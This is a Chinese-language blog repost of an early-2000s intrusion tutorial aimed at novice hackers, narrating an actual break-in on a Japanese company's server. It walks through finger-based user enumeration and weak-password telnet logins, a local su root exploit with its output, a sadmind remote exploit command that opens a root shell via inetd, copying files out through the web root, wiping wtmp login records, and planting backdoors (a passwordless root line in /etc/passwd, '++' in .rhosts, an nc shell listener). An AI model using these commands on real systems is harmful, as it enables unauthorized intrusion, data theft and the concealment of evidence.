unix入侵教程

    [雨 December 17, 2007 21:53 | by ]
来源:ChinaUnix
我写这篇文章的目的是给那些想学黑客技术的菜鸟们看的,如果您已经是高手了,您可以跳过去没必要看了J这里所讲叙的是从寻找跳板开始到如何擦PP的完整过程.这篇文章纯属研究性文章.请不要将此用于不正当途径.后果自负!!!最后,如果要转载本文请保持文章的完整性,以尊重作者的版权J

一.跳板篇

这些年网上黑客事件也日益增多了,各个国家与网络安全的法令也相继推出了!因而如果想入侵一个系统.而又不想惹上官司,那么自身安全因该是放在第一位.嗯,那么如何才可以保证自己不被发现呢?谈论这个问题的文章出来了很多,但在这众多的方法中我还是比较喜欢使用跳板主机(也就是平时说的堡垒主机),使用跳板主机有几点好处,首先是可以隐藏自己,再就是如果有一台功能齐全的跳板主机可以让工作达到事半功倍的效果:)那么如果得到一台跳板主机呢?

在网络上运行的服务器有很多,最常见的有Unix Linux NT W2k Solaris irix FreeBSD不过在这些主机中我最喜欢用W2k和Linux作为攻击平台了。W2k的Crack方法有很多比如:输入法漏洞,Unicode二次编码漏洞,IPC共享密码猜测等等,这些漏洞的利用方法有很多,而如何将NT/W2k做成跳板的文章也不少,因而我在这里也没有必要再重复了,我建议大家可以看看小榕写的关于如何利用IPC的补充文档,上面有如何将NT/W2k做成跳板的详细过程!

下面我主要介绍如何制作Linux的跳板主机,要得到一台Linux可以用破译弱口令的方法得到,至于破译弱口令的工具我感觉流光是最好用的:)你可以到www.netxeyes.org免费得到。如果不想下工具的朋友,可以使用Finger命令来得到弱口令列表:

比如我们已经知道xxx.xxx.xxx.xxx的79端口开放,那么我们可以轻易的得到一些薄弱主机的用户列表J

――――――――――――――――――test――――――――――――――――――

c:>finger 0@xxx.xxx.xxx.xxx



[xxx.xxx.xxx.xxx]

finger:0:no such user

------------------------------------------------------end------------------------------------------------------

失败:(呵呵。。。没关系啦,别灰心我们再来!!!

-------------------------------------------------------test-----------------------------------------------------

c:>finger 0@xxx.xxx.xxx.xxx

[xxx.xxx.xxx.xxx]

Login Name TTY Idle When Where

Root ??? <….>

Bin ??? <….>

Sys ??? <….>

ver21 ??? pst/0 211.25.64.2

liky ??? 437 211.35.26.4

how ??? pst/2 211.65.24.8

tong ??? pst/0 211.85.24.5

test ??? <….>

dv0928 ??? 52 211.54.25.6

nobody ??? 021 211.25.42.6

imnadm ??? 62 211.23.65.5

哈哈。。。这么多用户:)这下我发了:)

c:\>telnet xxx.xxx.xxx.xxx

Red Hat Linux release 6.0 Publisher's Edition (Hedwig)

Kernel 2.2.5-15 on an i586

Login:nobody

Password:

Login incorrect

Login:imnadm

Password:

Login incorrect

Login:test

Password:

##########################################################################

# However,as the Serv will reload those classes. #

# inside the “/usr/proj/gipex/class”.you just. #

# need to remove the old class with the new one. #

# #########################################################################

$w

6:19pm up 61 day(s), 3:40, 3 users, load average: 0.11, 0.07, 0.10

User tty login@ idle JCPU PCPU what

root console 4May0161days 2 2 /usr/dt/bin/sdt_shell -c ?

root pts/4 Fri 4pm 5days tail -f syslog

delex pts/7 6:19pm w

$uname –a

Linux server.syscrew.co.jp 2.2.5-15 #1 Mon Apr 19 21:39:28 EDT 1999 i586 unknown

$gcc

gcc: No input files

不错哈。。我可以编译程序了:)

下面我就要来个本地溢出得到ROOT只有ROOT才可以干我想干的事情啊!!!

Su.c可以在www.hack.co.za找到!!!

好了,下载下来。。。。

c:\>ftp xxx.xxx.xxx.xxx

Connected to xxx.xxx.xxx.xxx

220 server.syscrew.co.jp FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:5

3 EDT 1999) ready.

User (xxx.xxx.xxx.xxx:(none)):test

331 Password required for test.

Password:

ftp>put su.c

200 PORT command successful.

150 Opening ASCII mode data connection for su.c.

226 Transfer complete.

ftp: 12554 bytes sent in 0.00Seconds 12554000.00Kbytes/sec.

ftp>bye

221-You have transferred 11991 bytes in 1 files.

221-Total traffic for this session was 12355 bytes in 1 transfers.

221-Thank you for using the FTP service on xxx.xxx.xxx.xxx.

221 Goodbye.

好了换telnet来

$gcc –o su su.c

$./su

su exploit by XP

Enjoy!

Phase 1. Checking paths and write permisions

Checking for /usr/bin/msgfmt...Ok

Checking for /usr/bin/objdump...Ok

Checking write permisions on /tmp...Ok

Checking read permisions on /bin/su...Ok

Checking for a valid language... [using cs_CZ] Ok

Checking that /tmp/LC_MESSAGES does not exist...Ok

Phase 2. Calculating eat and pad values

.....................................................................done

eat = 119 and pad = 2

Phase 3. Creating evil libc.mo and setting enviroment

vars

Phase 4. Getting address of .dtors section of /bin/su

..........................................done

.dtors is at 0x0804ba0c

Phase 5. Compiling suid shell

/tmp/xp created Ok

Phase 6. Executing /bin/su

- Entering rootshell ;-) -

bash#

ok,到这里我们已经得到root了。你现在可以****想干的事情了!!!

bash#telnet localhost

这样就会将下一个登陆人的IP覆盖到自己IP上:)这样就不容易发现了!!!

一个跳板Linux主机就作好了,记得保存好哟,我们下次还要用呢!!!

二.攻击篇

这些天我看准了日本一家经济方面的网站,想进去拿点东西;)如果发E-mail给网管叫他给我,我想他一定不答应。说不定用那乱七八糟的日文将我骂一顿,可对于我这个不懂日文的家伙可能看了还乐滋滋的,并不觉得是在骂我。那么,就只有一中方法了,那就是我自己进去看看J(下面网站地址用196.0.0.1表示,以便将跳板主机与我们要攻击的主机分开)

首先,我们登陆上次已经Crack了的Linux主机吧:)我想刚刚Crack完应该还有效吧;)

c:\>telnet xxx.xxx.xxx.xxx

Login:test

Password:

##########################################################################

# However,as the Serv will reload those classes. #

# inside the “/usr/proj/gipex/class”.you just. #

# need to remove the old class with the new one. #

# #########################################################################

$./su

bash#nmap –O 196.0.0.1

我们通过nmap的扫描结果发现这个系统是SunOS 5.6的主机

我马上又登陆到另一台已经Crack了的SunOS5.6的主机(至于SunOS5.6跳板主机如何得到我就不再在这里浪费口舌了,和Linux跳板主机的制作方法大同小异)

#rpccinfo –p 196.0.0.1

program vers proto port service

100000 4 tcp 111 rpcbind

100000 3 tcp 111 rpcbind

100000 4 udp 111 rpcbind

100000 2 udp 111 rpcbind

…………

100232 10 udp 61358 sadmind

…………

100001 4 udp 61363 rstatd

100001 3 udp 61363 rstatd

根据rpcinfo返回的结果,我发现这台主机开放了不少RPC服务,其中:

100232 10 udp 61358 sadmind

引起我的注意,我记得在CERT的报告有一个关于sadmind的远程溢出报告,那一定也有相应的溢出程序:)我马上到www.hack.co.za搜索一番:)最后我找到了一个溢出源程序sadmindex.c(程序太长,我就不在这里罗列了!!!请大家到www.hack.co.za上找:)

我们登陆到那台Linux上

bash#gcc –o sadmindex sadmindex.c –lrpcsvc –lnsl –lsocket

bash#./sadmindex –h 196.0.0.1 –c “echo ‘ingreslock stream tcp nowait root /bin/sh **-*’>> /*mp/bob;/usr/sbin/inetd –s /tmp/bob”-s 0xefff9580

“echo ‘ingreslock stream tcp nowait root /bin/sh **-*’>> /*mp/bob这一句是我们要在目标服务器上执行的命令,他的功能就是生成一个内容是”ingreslock stream tcp nowait root /bin/sh **-*”的/*mp/bob文件,然后再用inetd来启动,如果成功我们就可以再目标机的1024端口上开一个后门,用TELNET连接上去后就可以直接用root身份执行shell了。。。哈哈是不是很爽?

Bash#telnet 196.0.0.1 1024

#

ok成功J我们成功得到root了!!!

#find / -name index.html –print

在/www/http/htdoc/目录下发现主页文件:)我的目的不是改主页,是要一些文件:)在这只是带说一下查找的方法!

#find / -name *.* -print (*.*是我要找的文件。这里省略名字:))

接下来将文件copy到主页目录,这样我们就可以下载了:)

#cp /home/www/*.* /www/http/htdoc

ok完成。我马上在浏览器里打入:http://196.0.0.1/*.*

下载成功。。。这次攻击就结束了。。。嘿嘿。。。。下面应该是要擦屁股走人了。。。不过如果你不想也可以。因为我们已经通过跳板登陆的。他们要查到我们也不是很容易的:)不过为了更加保险。也为了我们可以下次在登陆。我们还是擦擦屁股比较好。。。哦。。。天啊!!!

呀。。。不好。。。妈妈来了。。。叫俺学习去:(没办法。。。我们下次接着说吧!!!

三.打扫战场

我们进行一次攻击为了不让管理员发现,同时也为了我们有可能再一次的登陆,我们有必要清理等了记录。为了找出怎么做的合适方法,我们不妨看看/etc/syslog.conf配置文件的内容。也许对你清理战场有很大帮助!

#cat /etc/syslog.conf

#Log all kernel messages to the console.

#Loging much else clutters up the screen.

#kern.*

#Log anything (except mail)of level info or higher.

#Don’t log private authentication messages!

*.info;mail.none;authpriv.none

#The authpriv file has restricted access.

Authpriv.*

#Log all the amil messages in one place.

Mail.* /var/log/maillog

#Everybody gets emergency messages,plus log them on another

#machine.

*.emerg

#Save mail and news errors of level err and higher in a

#special file.

Uucp,news.crit

/var/log/spooler

有了这些信息后我们就知道在/var/log目录下查找关键登陆文件了!简单的列一个目录,我们发现存在的各种登记文件,包括cron,maillog,messages,spooler,secure,wtmp和xferlog。

系统改动的文件有很多,包括了:messages,secure,wtmp和xferlog。既然wtmp是二进制的我们就可以用wzap.c来清理wtmp记录文件(这个文件在很多黑客网站上能找到源代码)

#gcc –o wzap wzap.c

#who ./wtmp

joel ftpd17264 jul 1 12:09 (*.*.*.*) 注:(*.*.*.*是跳板主机的IP地址,也是我们

root tty1 jul 4 22:21 要清除的IP地址)

root tty1 jul 5 18:25

…………..

joel ftpd945 jul 14 17:25(*.*.*.*)

…………..

root

作者: ★果冻★[457283] 2001-07-17 16:34:38 [回复]

root tty1 jul 20 18:14

#/opt/wzap

Enter username to zap from the wtmp:joe1

Opening file…

Opening output file…

Working…

#who ./wtmp.out

root tty1 jul 4 22:21

root tty1 jul 5 18:25

…….

好了。。这样我们的wtmp记录就删除了!!!

我们接下来可以用VI当然也可以用相应的黑客程序来抹掉其他的登陆记录。我就不再在这里多说了,方法大同小异的!!!

四.后门篇

1..添加一个root用户

echo “jelly::0:0::/:/bin/sh”>> /etc/passwd

这个帐户没有密码:)不过这很容易被管理员发现,只要他看一下文件就会发现多出来的用户名!

2..echo “++” >>/.rhosts

用户可以通过rlogin rsh rcp等连接到服务器。不过这种方法也容易暴露自己

3..修改Sendmail.cf不过这个后门一般的扫描器都会刺探到比如:nessus我想自己的劳动成果是不愿意让别人随意拿走的吧?

4..Shell后门

这种后门最普遍,也很简单。通常是在某一特定端口监听,如果连接上后立即执行/bin/sh。这样就可以得到shell的使用权了。这类似的源程序可以在一些好点的黑客网站上找到。比如说安全焦点(www.xfocus.org

5.修改内核或降低某些软件版本达到后门目的。不过这种方法实现不容易。如果弄不好就会被发现,所以建议不要轻易使用这种方法

后门举例:

#gcc –o nc nc.c

#nc –l –d /bin/sh –p 8888

以后我们只要直接telnet服务器的8888端口就可以得到shell了:)
Tags: ,
Technology | Comments(0) | Trackbacks(0) | Reads(7432)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive